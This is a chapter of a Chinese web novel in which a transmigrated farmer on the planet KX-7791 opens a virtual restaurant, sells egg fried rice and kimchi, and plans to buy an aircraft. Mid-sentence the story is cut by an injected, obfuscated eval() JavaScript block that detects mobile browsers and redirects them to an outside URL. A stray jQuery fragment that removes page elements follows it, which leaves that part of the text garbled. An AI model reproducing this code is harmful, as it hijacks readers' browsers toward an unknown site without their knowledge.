三天的时间,在忙碌中过得飞快。
第三天清晨,夏炎序是被一阵细微的“咕噜咕噜”声吵醒的。他迷迷糊糊地从床上坐起来,侧耳倾听——声音从小屋角落里传来,是那盒辣白菜。乳酸菌的发酵进入了活跃期,气泡在密封盒里翻涌,顶得盒盖微微鼓起,一鼓一鼓的,像一只在呼吸的活物。
夏炎序光着脚走过去,蹲在盒子前面,把耳朵凑近了一些。
“咕噜……咕噜噜……”
他笑了。
“活得好好的。”他拍了拍盒盖,像是在安抚一只急躁的宠物。
然后他站起来,走到窗前,一把推开窗户。
KX-7791的清晨阳光涌进来,暖橙色的光线铺满了整个小屋。远处,第二批星米的稻田已经成熟了——橘色的稻穗沉甸甸地弯着腰,比第一批还要饱满,还要密集。他用上了那颗浓缩生长液之后,星米的品质又提升了一个档次,颗粒更大,橘色更深,光泽度也更好。
两亩半的星米田,预计能收一百公斤以上。
他还有那半亩新开垦的地,已经播下了第二批速生小白菜的种子——这次他学聪明了,不再一口气种三十公斤,而是分批种植,分批收获,避免再次陷入“吃不完又卖不掉”的尴尬。
一切准备就绪。
夏炎序深吸一口气,转身走到桌前,打开多功能终端,登录蓝星食铺商户后台。
账户余额:50.2星币。
那个红色的“未缴费”提示还在屏幕右上角闪烁。他的手指悬在“缴纳经营许可费”按钮上方,悬了大概五秒钟,然后按了下去。
“嘀——”
屏幕弹出一行字:“经营许可费50星币已缴纳。您的店铺‘蓝星食铺’现已正式开业。当前状态:可搜索、可交易。”
页面自动刷新。
那个灰色的“不可售”标签消失了。取而代之的,是一个绿色的、发着微光的“营业中”徽章。
夏炎序盯着那个绿色的徽章,眼眶忽然有点热。
他想起了一个多月前,他刚穿越到这颗荒星上的那天。他蹲在小屋门口,抓了一把黑土,手指陷进松软湿润的泥里,闻着那股属于土地的味道,觉得自己中了头奖。
然后他经历了饥饿、疲惫、孤独、绝望。他喝了一个月难以下咽的营养液,吃了一个月酸涩的野果,用一把破铁锹翻了两亩地,用一辆随时会爆炸的拖拉机犁田,用一口自己敲出来的铁锅炒出了第一碗蛋炒饭。
现在,他终于开店了。
不是在地球,不是在某个繁华的星际都市,而是在一颗编号KX-7791的、连名字都没有的荒星上。
夏炎序用力吸了一下鼻子,然后在商品列表里,点击了“星米蛋炒饭”旁边的“上架”按钮。
定价:5星币/份(300克)。
库存:50份。
然后他点开了“蓝星辣白菜”的商品页面,把状态从“预登记”改为“已上架”。
定价:8星币/500克。
库存:20公斤。
两道菜。一个主食,一个配菜。
够了。
他深吸一口气,然后打开了星网的“店铺推广”页面——这是经营许可费里包含的基础功能,新店开业有一次免费的“附近推送”机会,可以向店铺所在星域周围一定范围内的星网用户发送开业通知。
KX-7791的“附近星域”范围有多大?夏炎序看了看地图——大约覆盖了周边五个星系,包括轨道回收平台、一个矿业小行星带、一个联邦边境哨站,以及一个约有三千常住人口的科研前哨站。
总共不到五千人。
但五千人,够了。
夏炎序编辑了一条简短的推送消息:
“蓝星食铺今日开业。地球传统烹饪,纯手工制作。菜单:星米蛋炒饭(5星币/份)、蓝星辣白菜(8星币/500克)。本店菜品采用KX-7791自产食材,不添加任何化学合成剂。欢迎品尝。”
他看了一眼这条消息,觉得有点太朴素了。但他没有改——因为这就是事实。他的菜品不需要华丽的辞藻,味道本身会说话。
他按下了“发送”。
然后他关掉终端,系上围裙,开始准备今天的第一批蛋炒饭。
蓝星食铺在星网上的“实体”——如果那能叫实体的话——是一个虚拟空间里的小铺面。
夏炎序在店铺装修的时候,选择了最基础的免费模板:一间大约二十平方米的小房间,白色的墙壁,木纹色的地板,一张简单的餐桌和几把椅子。墙上挂着他手绘的那张地球简笔画——一个蓝色的圆球,上面有几团绿色的不规则形状,旁边歪歪扭扭地写着“地球”两个字。
没有服务员,没有收银台,没有菜单牌。客人进入店铺之后,面前会自动浮现出一个虚拟菜单,上面列着当前可售的菜品。点餐之后,菜品会直接出现在餐桌上。
就是这么简单。就是这么简陋。
但夏炎序不在乎。他在乎的是味道。
推送消息发出之后的大约十五分钟,第一位客人出现了。
那是一个头像看起来很普通的星网用户——用户名是“矿工老李”,头像是矿业联盟的标准徽章,应该是在附近那个小行星带工作的矿工。
【系统提示】矿工老李进入了您的店铺。
夏炎序在后台看到这条提示的时候,心跳漏了一拍。他屏住呼吸,盯着屏幕上的实时数据。
矿工老李在店铺里停留了大约三十秒——大概是看了菜单。然后,他下单了。
【订单】矿工老李购买了:星米蛋炒饭 x1(5星币)。支付方式:星币支付。
夏炎序的手指在“确认订单”按钮上颤抖着按了下去。
【系统】订单已确认。菜品数据已投射。
在虚拟空间的另一端,矿工老李面前的餐桌上,出现了一碗热气腾腾的蛋炒饭。
橘色的米粒粒粒分明,金黄色的蛋白碎点缀其间,翠绿的星葱末散发着浓郁的香气。那碗饭在虚拟空间的灯光下泛着温润的光泽,热腾腾的蒸汽从表面升起,带着一种矿工老李四十年职业生涯中从未闻到过的味道。
那不是营养液那种单一的、化学合成的“风味”。那是一种复杂的、有层次的、让人本能地想要靠近的香气。
矿工老李拿起虚拟勺子,舀了一口,送进嘴里。
然后他愣住了。
在距离KX-7791大约零点三个天文单位的小行星带深处,一个穿着采矿服的秃顶中年男人,坐在满是灰尘的休息舱里,盯着面前的全息屏幕,嘴巴微张,眼神呆滞。
他的舌头在几秒钟之内接收到了海量的信息——温度、质地、口感、味道、余韵——他的大脑在努力处理这些信息,但显然没有成功。因为他能想到的唯一反应,就是又舀了一勺。
然后是第三勺。
然后是第四勺。
他停不下来了。
勺子自动地、机械地、一勺接一勺地往嘴里送,直到碗底一粒米都不剩。他甚至用勺子刮了刮碗底,把那几粒残留的星米也送进了嘴里。
吃完之后,他把勺子放在空碗旁边,盯着那个空碗看了整整十秒钟。
然后他拿起终端,在订单评价页面打下了五个字:
“再来一份。”
夏炎序在后台看到这条评价的时候,笑得像个傻子。
“再来一份”不是评价——是对味道的最高赞美。
他立刻确认了第二份订单。
在接下来的一个小时里,又有十几个客人陆续进入了蓝星食铺。大部分是看到推送消息后来尝鲜的——轨道回收平台的工人、矿业小行星带的矿工、边境哨站的士兵、科研前哨站的研究员。
他们中没有人吃过地球菜,没有人知道“蛋炒饭”是什么东西,没有人见过“辣白菜”这种食物。
但他们中的每一个人,在吃完第一口之后,都做出了几乎相同的反应——愣住,然后埋头猛吃,然后盯着空碗发呆。
后台的订单提示音此起彼伏,像一首越来越急促的乐曲。
“嘀——新订单。”
“嘀——新订单。”
“嘀嘀——新订单。”
“嘀嘀嘀——新订单。”
夏炎序不再感受手动确认订单的乐趣,而是调成自动接单确认模式。
夏炎序在厨房里忙得脚不沾地。他提前煮好了三大锅星米饭——大约够五十份蛋炒饭的量。星葱是现切的,每炒一锅之前才切,保证葱香最新鲜。蛋白合成糊也是现调的,调好之后立刻下锅,不能放太久。
他一个人在灶台前站了整整四个小时,炒了四十多锅蛋炒饭。每一锅都要控制火候,每一锅都要掌握翻炒的节奏,每一锅都要在出锅前撒上那把星葱碎末。
他的手臂酸痛得像灌了铅,他的腰僵硬得几乎弯不下去,他的手掌上磨出了新的水泡。
但他没有停下来。
因为每一声“嘀”的背后,都有一个在星际某个角落的人,正在品尝他做的味道。
下午两点左右,第一波高峰期过去了。夏炎序终于有机会喘口气,他端着半杯水坐到桌前,打开后台数据。
营业额:47份蛋炒饭× 5星币 = 235星币。辣白菜暂时还没有人买——可能是因为星际人没见过这种东西,不敢轻易尝试。
235星币。
一天。
他盯着这个数字,大脑一片空白。
235星币。扣除食材成本大约47星币(星米、蛋白粉、油盐、星网平台手续费),净利润188星币。
这意味着一顿饭的时间,他赚到了相当于地球时代一个月的工资。
不,不对——他要交税。联邦对小型商户的税率是百分之十,所以他实际到手大约169星币。
169星币。
还是很多。
夏炎序的嘴角翘得压都压不下去。他喝了一口水,然后打开了星网商户后台的另一个功能——评价分析。
这个功能是经营许可费里包含的增值服务之一:星网会对每一位在店铺消费的客人进行微表情分析(在客人授权的前提下),通过面部肌肉的微小运动来判断客人对菜品的真实感受,然后生成一份详细的评价报告。
夏炎序之前没有太在意这个功能,因为他觉得评价就是评价,好吃就是好吃,不好吃就是不好吃,用不着什么微表情分析。但现在他闲着也是闲着,就点开看了看。
报告生成了。
四十多位客人的数据汇总在一起,形成了一份详细的“菜品反馈报告”。
夏炎序扫了一眼整体数据:正面反馈97%,中性反馈3%,负面反馈0%。
他的嘴角又翘了一下。
然后他开始仔细看细节。
“星米蛋炒饭·口感反馈:米粒口感‘粒粒分明’——89%用户微表情显示满意。‘软硬适中’——92%用户微表情显示满意。‘油脂感’——78%用户微表情显示满意,22%显示‘偏油’。”
夏炎序皱了皱眉。22%觉得偏油?他用的是标准的油量,在地球上绝对不会有人觉得油多。但星际人可能长期喝营养液,肠胃对油脂的接受度比较低。
他在笔记本上记了一笔:油量减少10%,再试试。
继续往下看。
“星米蛋炒饭·味道反馈:‘咸度’——94%用户微表情显示满意。‘葱香’——96%用户微表情显示满意。‘蛋香’——91%用户微表情显示满意。”
咸度没问题,葱香没问题,蛋香也没问题。但有一个数据引起了他的注意——
“‘鲜味’——67%用户微表情显示‘可感知但不强烈’,23%显示‘无明显感知’。”
鲜味。
这是蛋炒饭的一个重要维度。地球上的蛋炒饭,如果用了好的鸡蛋和新鲜的葱花,鲜味是很明显的。但他的蛋白合成粉毕竟不是真正的鸡蛋,味道寡淡,全靠油脂和葱花支撑。鲜味不足,是预料之中的事情。
夏炎序想到了星蕈——那种北半球森林里的伞菌,干燥后有浓郁的鲜味。如果他能弄到星蕈,磨成粉,代替味精或者鸡精,加到蛋炒饭里,鲜味问题就能解决。
但他去不了北半球。至少现在去不了。
他在笔记本上又记了一笔:长期目标——搞到星蕈,制作天然鲜味粉。
然后他翻到了辣白菜的部分。
辣白菜的销售数据是零——没有人买。但是在“未购买原因分析”一栏里,星网的AI根据进入店铺的客人的停留时间和浏览行为,做了一个推测:
“辣白菜·未购买原因分析:‘价格偏高’——54%用户。‘不熟悉此类食品’——32%用户。‘外观过于鲜艳,怀疑添加色素’——14%用户。”
夏炎序看着这个报告,陷入了沉思。
价格偏高——8星币500克,对比蛋炒饭5星币一份,确实看起来贵。但辣白菜是发酵食品,制作周期长,而且可以当配菜吃很多次,这个价格其实不贵。问题是星际人没有“配菜”的概念,他们看到的只是一个“比主食还贵的红色不明物体”。
不熟悉此类食品——这个没办法,只能靠时间慢慢培养。等第一批敢尝试的人给出好评之后,其他人自然会跟进。
外观过于鲜艳,怀疑添加色素——这个他倒是可以解决。在商品描述里加一句“星椒天然红色,无任何人工色素添加”,应该能打消一部分人的顾虑。
夏炎序在笔记本上写下了调整方案:
1. 蛋炒饭油量减少10%,明天试试。
2. 辣白菜商品描述增加“天然色素”说明。
3. 辣白菜考虑推出“试吃装”——100克小份,2星币,降低尝试门槛。
4. 长期:搞到星蕈,提升鲜味。
他合上笔记本,靠在椅背上,长长地呼出一口气。
第一天,营业额235星币。四十七个客人。百分之九十七的正面反馈。
这是一个完美的开局。
但他知道,这只是一个开始。四十七个客人,对于一个餐厅来说,少得可怜。他需要更多的客人,更大的曝光,更丰富的菜单。
他需要更多的食材,更多的调料,更好的设备。
他需要去北半球。他需要星蕈,需要星芥,需要星姜。
他需要一辆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420244|200807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飞行器。
夏炎序看了一眼账户余额:50.2星币(预付定金)+ 169星币(今日净利润,税后)= 219.2星币。
二百一十九星币。
一辆最便宜的二手飞行器——那种只能在大气层内飞行、速度慢得像乌龟、续航短得令人发指的基础型号——在回收站的价格是……他打开星网搜了搜。
一千五百星币。
他需要一千五百星币。
夏炎序盯着那个数字,深吸了一口气。
一千五百星币。按照今天的盈利速度,大约需要九天。但今天是因为新店开业有推送流量,明天的客人可能会少很多。保守估计,可能需要两到三周。
两到三周。
他等得起。
他站起来,走到角落里那盒辣白菜前面,蹲下来,轻轻打开盒盖。
一股酸辣鲜香的气味扑面而来。红色的酱汁已经渗进了白菜的每一片叶脉,白菜的颜色从翠绿变成了半透明的琥珀色,闻起来酸味适中,辣味浓郁,还有一股淡淡的发酵香气。
夏炎序用手指夹了一小片,放进嘴里。
酸、辣、脆、甜、鲜。
五种味道在舌尖上依次绽放,层次分明,余味悠长。
他的眼眶又热了。
这是他在星际时代吃到的第一口辣白菜。用这颗星球上的小白菜、星椒、星盐草和星葱,用地球的传统工艺,在一颗无人问津的荒星上,做出来的辣白菜。
和地球上的味道不一样。星椒的辣更温和,带着果香;星盐草的咸味里有草木的回甘;星葱的辛香比地球的葱更清冽。这些差异让他的辣白菜有了一种独特的、属于KX-7791的风味。
不是地球的味道。但很好吃。
夏炎序把盒盖重新盖好,站起来,走到窗前。
KX-7791的夕阳正在沉入地平线。天空从橘红渐变成深紫,两颗卫星升起来了,银河像一条发光的河流横贯天际。
远处,第二批星米的稻田在晚风中沙沙作响,橘色的稻穗在暮色中像一片金色的海洋。那半亩新播下的小白菜种子,应该已经发芽了——明天去看看。窗台上的星葱又长高了一截,嫩绿的叶子在风中轻轻摇晃。
夏炎序把手插进口袋里,指尖触到了那袋星米种子——他随身带着的,不知道为什么,就是喜欢揣着它。种子的包装袋已经被磨得起了毛边,但他舍不得扔掉。
他站在窗前,看着这片他亲手开垦的土地,忽然觉得很平静。
不是那种“终于成功了”的狂喜,而是一种更深层的、更持久的踏实感。像是有什么东西在他心里扎下了根,正在缓慢而坚定地生长。
就像窗台上的星葱。
就像田里的星米。
就像角落里那盒正在发酵的辣白菜。
夏炎序转过身,走到桌前,打开多功能终端,在店铺的商品描述里加了一句话:
“蓝星食铺的每一道菜,都是用KX-7791的土地、阳光和水,以及一颗叫做‘地球’的行星的古老智慧,亲手制作而成。没有机器,没有AI,只有一个人、一双手、一口锅。希望你喜欢。”
然后他保存了修改,关掉终端,走到厨房,给自己炒了一碗蛋炒饭。
这一次,他少放了百分之十的油。
他尝了一口。
嗯,确实清爽了一些。星际人可能会更喜欢这个版本。
他端着碗坐到窗前,一边吃一边看星星。
两颗卫星已经升到了天顶,一大一小,一明一暗,在夜空中交相辉映。银河的光带从地平线的一端延伸到另一端,星星密集到几乎分不清彼此。
夏炎序忽然想起了什么,放下碗,拿起多功能终端,给老周发了一条消息:
“老周叔,今天开业了。卖了四十七份蛋炒饭。谢谢您帮我代销星米,没有那五十星币,我连开店的钱都交不起。”
回复几乎是秒回的。
回收站老周 18:45:四十七份?你小子可以啊。我这边还在帮你宣传呢,结果你自己先把客人拉来了。
回收站老周 18:45:对了,辣白菜什么时候能寄过来?我在你这儿消费了这么多(虽然大部分是到付),也该享受一下VIP待遇了吧?
夏炎序笑了。
“明天寄。第一批刚发酵好,我给您寄一公斤。维克多·陈那边也寄一份。”
回收站老周 18:46:一公斤??你那个定价是8星币500克,一公斤就是16星币。我可付不起。
回收站老周 18:46:开玩笑的。快递费到付,辣白菜的钱我转给你。别跟我客气,你开店是要挣钱的,不是做慈善的。
夏炎序的眼眶又热了一下。
“好。谢谢老周叔。”
回收站老周 18:47:谢什么谢。你那蛋炒饭能不能研究一下怎么在星网上无限量供应?我吃完一份想点第二份的时候,发现你已经卖完了。四十七份,够谁吃的?
夏炎序笑出了声。
“明天多做点。老周叔,您要是想吃,我给您留一份,您随时来随时有。”
回收站老周 18:47:那你给我留的那份给我快递过来,意识投影去吃还是没有实体吃着爽。
ok.
他关掉对话框,把最后几口蛋炒饭扒进嘴里,然后放下碗,走到窗前,最后看了一眼外面的夜色。
KX-7791的夜晚安静得像一幅画。没有城市的灯火,没有车流的噪音,只有风声、虫鸣(是的,这颗星球上有类似昆虫的生物,虽然不多),和远处稻田里星米植株在风中摩擦的沙沙声。
夏炎序把窗户关好,拉上窗帘,躺到床上。
天花板上的那道裂缝还在。两颗卫星的光透过窗帘的缝隙照进来,在地板上画出两道银白色的光斑。角落里,辣白菜的发酵声越来越密集,“咕噜咕噜”的,像一首催眠曲。
他闭上眼睛,嘴角带着笑。
明天,他要早起收星米。要炒更多的蛋炒饭。要卖辣白菜。要研究怎么把油量减少百分之十之后,蛋炒饭的风味还能保持得更好。
他还要想想怎么推广辣白菜——也许可以推出“蛋炒饭+辣白菜”的套餐,定价12星币,比单点便宜1星币。这样既能带动辣白菜的销量,又能让客人体验到“主食+配菜”的完整地球餐概念。
还有,他要开始规划那辆飞行器的事情。一千五百星币,两到三周。等攒够了钱,他要去北半球,去找星蕈、星芥、星姜。他要把这些食材带回来,种在自己的土地上,或者加工成调味料,让蓝星食铺的菜单越来越丰富。
他还要……
夏炎序的思绪在这里断掉了。
因为他睡着了。
梦里,他站在一片无边无际的橘色稻田中,手里端着一碗热气腾腾的蛋炒饭。远处的天空中,无数艘飞船排成一条光带,向着他的方向飞来。
但这一次,他不是一个人。
他的身后,有一间小小的食铺。白色的墙壁,木纹色的地板,墙上挂着一幅歪歪扭扭的地球简笔画。食铺的门前挂着一块木牌,上面写着四个字:
蓝星食铺。
门开着。